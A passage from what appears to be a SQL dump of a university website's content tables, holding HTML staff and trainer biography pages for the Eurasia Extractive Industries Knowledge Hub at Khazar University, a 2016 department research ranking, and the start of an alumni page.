href=\"http://www.khazar.org/v7923/Trainers/en\" target=\"_blank\">Ingilab Ahmadov</a>&nbsp;– director</p><p>Esmira Asadullayeva – development manager</p><p>&nbsp;</p><p>Address: Mehseti Street, AZ 1096, Baku&nbsp; - Azerbaijan&nbsp;</p><p>Tel: (+994 12) 422 24 97</p><p>E-mail: hub.eurasia@gmail.com</p>  <div><br></div>'),(1143,714,'az','İşçi heyəti','İşçi heyəti','<p><img src=\"/files/letters/ingilab_a.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></p><p><a href=\"http://www.khazar.org/files/demo/IngilabAhmadovCV1%20(2).pdf\"><strong>Prof. Ingilab Ahmadov</strong></a></p><p><strong>Director of Eurasia HUB</strong><br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:ingilab.a@eurasia-hub.com\">ingilab.a[at]eurasia-hub.com</a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://www.khazar.org/files/letters/Naz_CV.pdf\">Nazaket Azimli</a></strong><strong><img src=\"/files/letters/nazaket_az.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Eurasia HUB Development Manager</strong><br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:nazaket_a@eurasia-hub.com\">nazaket_a[at]eurasia-hub.com</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Farid Guliyev&nbsp;</strong><strong><img src=\"/files/letters/Farid_g.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Research Associate&nbsp;</strong></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:farid.guliyev@eurasia-hub.org\">farid.guliyev[at]eurasia-hub.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><a href=\"http://www.khazar.org/files/letters/CV-Naila_Ismayilova-2018.pdf\"><img src=\"/files/letters/naila_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/letters/CV-Naila_Ismayilova-2018.pdf\">Naila Ismayilova</a></strong></p><p><strong>Eurasia HUB Communication Manager </strong> <br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:nailaismayilova7@gmail.com\">nailaismayilova7[at]gmail.com</a><a title=\"nailaismayilova7@gmail.com\" target=\"_self\" tabindex=\"0\" label=\"Email nailaismayilova7@gmail.com\"></a>  </p><p><br></p><p><br></p><p><br></p>'),(1144,714,'en','Staff','Staff','<p><img src=\"/files/letters/ingilab_a.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/demo/IngilabAhmadovCV1%20(2).pdf\"><strong>Prof. Ingilab Ahmadov</strong></a></p><p><strong>Director of Eurasia HUB</strong><br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:ingilab.a@eurasia-hub.com\">ingilab.a[at]eurasia-hub.com</a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://www.khazar.org/files/letters/Naz_CV.pdf\">Nazaket Azimli</a></strong><strong><img src=\"/files/letters/nazaket_az.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Eurasia HUB Development Manager</strong><br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:nazaket_a@eurasia-hub.com\">nazaket_a[at]eurasia-hub.com</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Farid Guliyev&nbsp;</strong><strong><img src=\"/files/letters/Farid_g.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Research Associate&nbsp;</strong></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:farid.guliyev@eurasia-hub.org\">farid.guliyev[at]eurasia-hub.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><a href=\"http://www.khazar.org/files/letters/CV-Naila_Ismayilova-2018.pdf\"><img src=\"/files/letters/naila_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/letters/CV-Naila_Ismayilova-2018.pdf\">Naila Ismayilova</a></strong></p><p><strong>Eurasia HUB Communication Manager </strong> <br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"http://mailto:nailaismayilova7@gmail.com\">nailaismayilova7[at]gmail.com</a><a title=\"nailaismayilova7@gmail.com\" target=\"_self\" tabindex=\"0\" label=\"Email nailaismayilova7@gmail.com\"></a>  </p><p><br></p><p><br></p><p><br></p>'),(1145,715,'en','Trainers','Trainers','<div><br></div><div> <div><p style=\"background:undefined \"><strong style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify\"><img src=\"http://www.khazar.org/files/demo/14_11_25_Ingilab_Ahmadov.jpg\" style=\"width:150px;height:180px;margin:7px;float:left\"></strong></p><p style=\"background:undefined \"><strong>INGILAB AHMADOV</strong></p><p><strong></strong>Prof. Ingilab Ahmadov obtained a Doctor of Science in Economics from the Saint Petersburg (Russia) State University of Economics and Finance. In 2008 as a Chevening Fellow, Ingilab Ahmadov took the “Economics of Energy” course at Reading University (UK). His work experience is both extensive and outstanding. He started his career as an instructor at Azerbaijan State Oil Academy and scientific employee at the Center for Strategic and International Studies. He was appointed Advisor to the Minister at the Ministry of Economy of the Republic of Azerbaijan. Since 1995, he acted as Director General of the “Trend” analytical information agency, and between 2004 and 2010 he was the director of Public Finance Monitoring Center—an NGO located in Baku. Prof. Ahmadov has research collaborations with and is a visiting professor of leading universities such as Kiel Institute for the World Economy as well as Oxford and Reading University. His research interests are oil &amp; gas economy and impact of oil revenues on economy, Caspian energy resources, and oil contracts. Prof. Ahmadov has more than 30 research papers and books. Mr. Ahmadov joined the School of Economics and Management at Khazar University in 2008. He mainly teaches courses in Energy Management and Caspian Energy. Ingilab Ahmadov was a member of the International Board of the Extractive Industries Transparency Initiative. Prof. Ahmadov became director of Eurasia Extractive Industries Knowledge Hub and Dean of the School of Economics and Management at Khazar University in 2010.</p><p style=\"background:undefined \"><strong style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify\"><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \"><strong style=\"color:#3a3b3b;line-height:15px;text-align:justify\">ANDREW BAUER</strong><strong><img src=\"http://www.khazar.org/files/demo/14_11_20_ABauer_150.jpg\" style=\"border:0px #000000;width:150px;height:200px;margin:7px;float:left\"></strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \">Andrew&nbsp;<strong>Bauer</strong>&nbsp;is an economic analyst at the Revenue Watch Institute. Prior to joining, he served on Canada\'s G7/8 and G-20 teams as an international economist at the Department of Finance, where he provided economic policy advice and participated in the planning and execution of the G8 and G-20 Summits as well as preparatory finance ministerials during Canada\'s host year. He has held positions in government, nonprofits and the private sector, having worked for Debt Relief International, UNICEF-Canada, Transparency International-Kenya, the Commission on Human Rights and Administrative Justice (CHRAJ-Ghana), among others.</p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \">At Revenue Watch, Andrew&nbsp;<strong>Bauer</strong>&nbsp;focuses on economic technical assistance and research to improve natural resource revenue management. His work includes advising governments and civil society on macroeconomic management, governance and accountability mechanisms, and local content in the extractives. Andrew holds an M.Sc. in Economics for Development from Oxford University, where he won a thesis distinction for his work on the monetary transmission mechanism in Tanzania. He also received a B.A. in Economics and International Development Studies from McGill University.</p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_Susan_Maples.jpg\" style=\"border:0px #000000;margin:7px;width:150px;height:197px;float:left\"><strong style=\"color:#3a3b3b;font-family:\'times new roman\', times, serif;line-height:15px;text-align:justify\">ERICA WESTENBERG</strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \">Erica practiced as an attorney for over five years in the Energy and Infrastructure Projects group at Skadden, Arps, Slate, Meagher and Flom LLP, where she managed numerous complex transactions in the areas of energy and natural resources, infrastructure and public-private partnerships. Her pro bono projects included work on parliamentary oversight of extractive industry contracts as well as engagement through the International Senior Lawyers Project on governance reforms in Africa. As EITI Policy Officer, Erica leads RWI\'s multifaceted engagement with the Extractive Industries Transparency Initiative, which includes supporting the RWI representative to the EITI International Board, providing technical assistance to EITI processes globally and conducting research on EITI-related issues. Erica received a B.A. in government and a certificate in African studies from Harvard College and a M.Sc. in Development Management from the London School of Economics. She holds a J.D. from Harvard Law School, where she received a Chayes International Public Service Fellowship to work on legal and judicial reform in Europe and Central Asia at the World Bank.</p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_Kate.jpg\" style=\"border:0px #000000;width:150px;height:172px;margin:7px;float:left\"><strong style=\"color:#3a3b3b;font-family:\'times new roman\', times, serif;line-height:15px;text-align:justify\">KATARINA KUAI</strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \">Before Revenue Watch, Katarina&nbsp;<strong>Kuai</strong>&nbsp;worked at the United Nations in New York as well as on field missions in Afghanistan and Indonesia. At the Office of the U.N. High Commissioner for Human Rights, she worked on an inter-agency initiative to promote rights-based approaches in the U.N.\'s approach to development, peace and security. She has also worked for UNDP, conducting policy research and managing projects in various areas including South-South cooperation, civil society partnerships and indigenous peoples\' issues. As program officer, Katarina\'s focus is on training and capacity development in downstream phases of the extractive sector value chain including revenue management and economic diversification. She is leading RWI\'s work in Afghanistan and has a special interest in conflict-resource linkages, China-Africa relations and Chinese NOC engagement in extractive sector governance. In addition, Katarina oversees the development of RWI training modules and the management of fellowships. She holds a Masters in International Relations from Yale University and a BA from New School University.&nbsp;</p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_susanmaples.jpg\" style=\"border:0px #000000;width:150px;height:150px;margin:7px;vertical-align:baseline;float:left\">&nbsp;<strong style=\"color:#3a3b3b;font-family:\'times new roman\', times, serif;line-height:15px;text-align:justify\">SUSAN MAPLES</strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \">Susan Maples is currently a Visiting Assistant Professor and Andrews Kurth Energy Scholar.&nbsp; Susan\'s research interests and teaching areas are in comparative constitutional analysis of the governance of natural resources; comparative analysis of oil, gas, and mining laws; energy diplomacy; international petroleum transactions and regulatory frameworks; oil &amp; gas transport; upstream economics; state participation and equity, and resource and energy policy. She has worked in over 25 countries, providing trainings, lectures, and legal and policy support to parliaments, governments, and citizens in resource rich countries and continues to be consulted for advice, research, and lectures by private industry, governments, and civil society.&nbsp;<br>Susan was also Post-Doctoral Research Fellow at Columbia Law School from 2007-2011, first at the Human Rights Institute under Professor Peter Rosenblum and then at the Vale Columbia Center for Sustainable International Investment under Professor Jeffrey Sachs.&nbsp;&nbsp;&nbsp; She was a co-author of Oil Contracts: How to read and understand them, the co-author of Contracts Confidential: Ending Secret Deals in the Extractive Industries, and a contributor to the forthcoming study, Resource-Based Sustainable Development in the Lower Zambezi Basin.&nbsp;</p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/media/14_11_25_Azer_(1).jpg\" style=\"border:0px #000000;width:150px;height:138px;margin:7px;float:left\"></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;line-height:15px;text-align:justify;background:#ffffff\"><strong>AZER MEHTIYEV</strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \">Azer Mehtiyev is head of “Assistance to Economic Initiatives” PU. As one of the leading economists of the country, he is the author of several important research works on the improvement of effectiveness and transparency of budget process and budget expenses, as well as the implementer of monitoring projects in this field. As a member of Extractive Industry Transparency Initiative NGO Coalition, he is an active participant in the realization of this initiative in Azerbaijan. He was head of the Coalition Council in 2008-2009. While headed by Azer Mehtiyev, the Coalition conducted the validation of EITI in Azerbaijan and achieved the acceptance of its certain terms (especially the establishment of Multi-party Group) by the Government Commission. Azer Mehtiyev is a member of National Budget Group (NBG) Board. He acts as the trainer of NBG trainings on budgeting process, monitoring of budget expenses and budget advocacy issues organized for NGO representatives and journalists. Azer Mehtiyev is also a member of NGO Alliance for the Development of Municipalities that deals with decentralization initiatives and advocacy of the development of local self-governance and acted as the coordinator of this Alliance in 2011-2013. Azer Mehtiyev is the lecturer for the School of “Enterprise Economy” of Azerbaijan State Economic University.&nbsp;<strong>&nbsp;</strong></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><strong></strong></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_Galib_Efendiev.jpg\" style=\"float:left;width:150px;height:174px;margin:7px\"><strong>GALIB EFENDIEV</strong>  <br></p><p style=\"background:undefined \">Before joining RWI, Galib&nbsp;<strong>Efendiev</strong>&nbsp;worked at the Open Society Institute - Assistance, as director of the Transparency of Oil Revenues and Public Finance (TORPF) program and as head of the grants department. He joined OSI in Azerbaijan at its founding in 1996, helping to manage OSI\'s first programs in Azerbaijan and serving as Deputy Director for several years. As RWI\'s Central Asia/Caucasus Regional Coordinator, Galib provides guidance to consolidate local monitoring activities and helps to manage local research, monitoring, advocacy and technical assistance in Azerbaijan, Kazakhstan, Mongolia and Russia, with smaller-scale activities in Georgia, Kyrgyz Republic and the Ukraine. He holds a BS from Rutgers University, with majors in Finance and Management and Eastern European Studies.<strong>&nbsp;</strong>  <br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_Kenan_Aslanli.jpg\" style=\"width:150px;height:153px;margin:7px;float:left\"><strong>GALIB EFENDIEV</strong>  <br></p><p style=\"background:undefined \">Before joining RWI, Galib&nbsp;<strong>Efendiev</strong>&nbsp;worked at the Open Society Institute - Assistance, as director of the Transparency of Oil Revenues and Public Finance (TORPF) program and as head of the grants department. He joined OSI in Azerbaijan at its founding in 1996, helping to manage OSI\'s first programs in Azerbaijan and serving as Deputy Director for several years. As RWI\'s Central Asia/Caucasus Regional Coordinator, Galib provides guidance to consolidate local monitoring activities and helps to manage local research, monitoring, advocacy and technical assistance in Azerbaijan, Kazakhstan, Mongolia and Russia, with smaller-scale activities in Georgia, Kyrgyz Republic and the Ukraine. He holds a BS from Rutgers University, with majors in Finance and Management and Eastern European Studies.<strong>&nbsp;</strong>  <br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_Sabit_Bagirov.jpg\" style=\"margin:7px;float:left;width:150px;height:211px\"><strong>SABIT BAGIROV</strong>  <br></p><p style=\"background:undefined \">Sabit Bagirov is the president of the Entrepreneurship Development Foundation and director of the Center for Economic and Political Research in Baku, Azerbaijan. In 1971 he graduated from the Mechanical Faculty of the Azerbaijani Petrochemical Institute (currently the Oil Academy). Bagirov defended his dissertation at the Institute of Management Problems of the USSR Academy of Sciences (Moscow). From 1992-1993, he served as the state advisor on strategic programs to the President of Azerbaijan, helping establish state committees on antimonopoly policy and support for entrepreneurship, privatization of state property, land reform, and foreign investment. During that time, he was also President of the State Oil Company of Azerbaijan (SOCAR), during which he restructured the company for greater efficiency and was responsible for contracts with foreign investors for the development of oil and gas. From 1994 he was consultant for several private companies on Caspian energy projects, and in 1998 and in 2004 he was a consultant of World Bank on Azerbaijan energy projects. Currently his positions in non-governmental sector include Founder and Member of Board of NGO Coalition on EITI-Azerbaijan , Founder and Member of Azerbaijan National Committee for European Integration, Founder and Member of Board of Transparency Azerbaijan. In 2011-2013 was a member of the International EITI Board.<strong>&nbsp;</strong>  <br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p></div></div>'),(1991,1213,'en','  Academic Department Rankings by Research Performance','On June 17, 2016, a meeting on the results of the academic departments ranking by their research performance was held at Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On June 17, 2016,<strong> </strong>a meeting on the results of the academic\r\ndepartments ranking by their research performance was held at Khazar\r\nUniversity. The school deans, department chairs, faculty and staff members\r\nparticipated in the meeting.&nbsp; Professor\r\nHamlet Isaxanli, Khazar University’s Founder and Chairman of the Board of\r\nDirectors and Trustees, opened the meeting emphasizing the significance of publication of research articles\r\non the prestigious international journals.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Then his\r\nspeech was followed by the&nbsp; &nbsp;presentation by Lyudmila Sotova, Head of the\r\nQuality Assurance Center, who gave information on the results of the ranking\r\nand issues that require&nbsp;immediate attention. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The 18 academic\r\ndepartments were evaluated using 8 performance indicators. According to the\r\nevaluation, the department of Mathematics earned the highest score.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Below are\r\nthe Khazar University academic department ranking results:</p>\r\n<p>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"=\"\"><strong>#</strong></p>\r\n  </td>\r\n  <td width=\"358\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"=\"\"><strong>Name of the\r\n  department</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Mathematics</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Biological Sciences</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">3</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Geography and Environment</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">4</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Languages and Cultures</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">5</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Chemistry</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">6</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Psychology</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Petroleum Engineering</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Journalism</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Political Sciences and International Relations </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">8</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Education</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Economics and Management</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">10</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">English Language and Literature</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">11</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Azerbaijani Language and Literature</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">12</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Law</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">13</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Computer Sciences</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">History and Archeology</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">15</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Civil Engineering</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;vertical-align:bottom\"=\"\">16</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Electronics and Telecommunication</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(1146,716,'en','Alumni','Alumni','<div><p>&nbsp;</p>\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/j7Y-TGsvGiM\" frameborder=\"0\"></iframe><p>331 people from 13 countries have participated in\r\nthe Eurasia Hub trainings. &nbsp;According to the\r\nconducted examination, 114 participants represented civic sector, 36- media,\r\n27- academic institutions, 41- state structures, 18 – extracting companies, 70-\r\nstudents and 25- others. </p>\r\n<p>Examination was\r\nconducted among 181 Eurasia Hub 